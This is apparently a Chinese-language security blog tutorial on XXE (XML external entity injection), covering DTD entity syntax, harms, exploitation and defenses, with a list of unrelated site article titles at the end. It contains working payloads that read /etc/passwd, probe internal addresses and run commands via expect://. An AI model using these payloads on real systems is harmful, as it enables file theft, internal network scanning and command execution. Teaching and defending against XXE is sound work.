XXE漏洞原理

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

PS:php版本大于5.4.45的默认不解析外部实体

要了解XXE,就必须懂得XML的一些规则:

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XXE

这里我们主要需要了解的是文档类型定义,因为XXE就发生在这里,其余规则暂时不做赘述:

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

在DTD内,我们可以声明外部实体,语法规则如下:

内部声明实体

<!ENTITY 实体名称 "实体的值" >

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI" >

注意事项:实体又分为一般实体和参数实体。
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;

(1)内部实体声明:<!ENTITY 实体名称 "实体的值">

ex:<!ENTITY eviltest "eviltest">

注意和DTD中的元素声明区别<!ENTITY 声明元素>

代码实例:

  1 <?xml version="1.0"?>
2 <!DOCTYPE test [
3 <!ENTITY writer "Bill Gates">
4 <!ENTITY copyright "Copyright W3School.com.cn">
5 ]>
6
7 <test>&writer;&copyright;</test>
8

(2)外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

引入外部参数实体outdtd.dtd文件

代码实例:

  1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE % test[
3 <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
4 %a;
5 ]>
6 <test>&xxe;</test>

.dtd文件代码:(outdtd.dtd )

  1 <!ENTITY xxe SYSTEM "file:///etc/passwd">

XXE危害

  • 任意文件读取
  • 内网端口扫描(SSRF)
  • DDoS攻击
  • 命令执行

XXE利用

一:探测内网地址

利用代码如下:

  1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe [
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
5 <root>
6 <name>&xxe;</name>
7 </root>

二:执行命令

在Linux系统安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系命令

利用代码如下:

  1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE xxe[
3 <!ELEMENT name ANY>
4 <!ENTITY xxe SYSTEM "expect://ifconfig">]>
5 <root>
6 <name>&xxe;</name>
7 </root>
8
9 //这里读取系统命令ifconfig读取ip

更多的XXE漏洞利用方法可参考:https://www.freebuf.com/articles/web/177979.html

XXE防御

方法一:使用开发语言提供的禁用外部实体的方法。

  1 PHP:
2 libxml_disable_entity_loader(true);
3
4 JAVA:
5 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
6 dbf.setExpandEntityReferences(false);
7
8 Python:
9 from lxml import etree
10 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
11

方法二:过滤用户提交的XML数据。

关键词:<!DOCTYPE和<!ENTITY 或者 SYSTEM和PUBLIC

最新文章

  1. 通过transform修改位置 大小 旋转 形变
  2. 你真的了解DOM事件么?
  3. [MAVEN]二、常用命令
  4. wordpress如何批量关闭旧日志留言功能
  5. 使用SignalR+Asp.net创建实时聊天应用程序
  6. iOS - UIRefreshControl 刷新数据
  7. Nginx+uWSGI+Django+Python+ MySQL 搭建可靠的Python Web服务器
  8. U盘安装Win7 64位
  9. java获取当前时间
  10. MySQL查询语句的45道练习
  11. angular路由详解五(辅助路由)
  12. 以技术面试官的经验分享毕业生和初级程序员通过面试的技巧(Java后端方向)
  13. 蚂蚁风险大脑亮相ATEC城市峰会:为数字经济时代做好“安全守护”
  14. [java,2017-06-12] myEclipse双击无法打开文件
  15. Eclipse项目里面看源码和文档
  16. String,StringBuffer,StringBulider
  17. 论文阅读笔记三:R2CNN:Rotational Region CNN for Orientation Robust Scene Text Detection(CVPR2017)
  18. js获取背景颜色
  19. Unity shader学习之逐顶点漫反射光照模型
  20. Python数据分析-Day2-Pandas模块

热门文章

  1. firewalld学习--service
  2. 猎鹰9火箭(Falcon 9)
  3. C++面试常见问题——17类模板的使用
  4. Day7 - K - Biorhythms POJ - 1006
  5. Eclipse 不能调试的问题
  6. 【转载】UnityWebRequest的初步使用及常用方法解析
  7. 吴裕雄--天生自然java开发常用类库学习笔记:NumberFormat
  8. Python基础week1
  9. VS2012 ffmpeg 没有定义的lrint
  10. Kafka--初识Kafka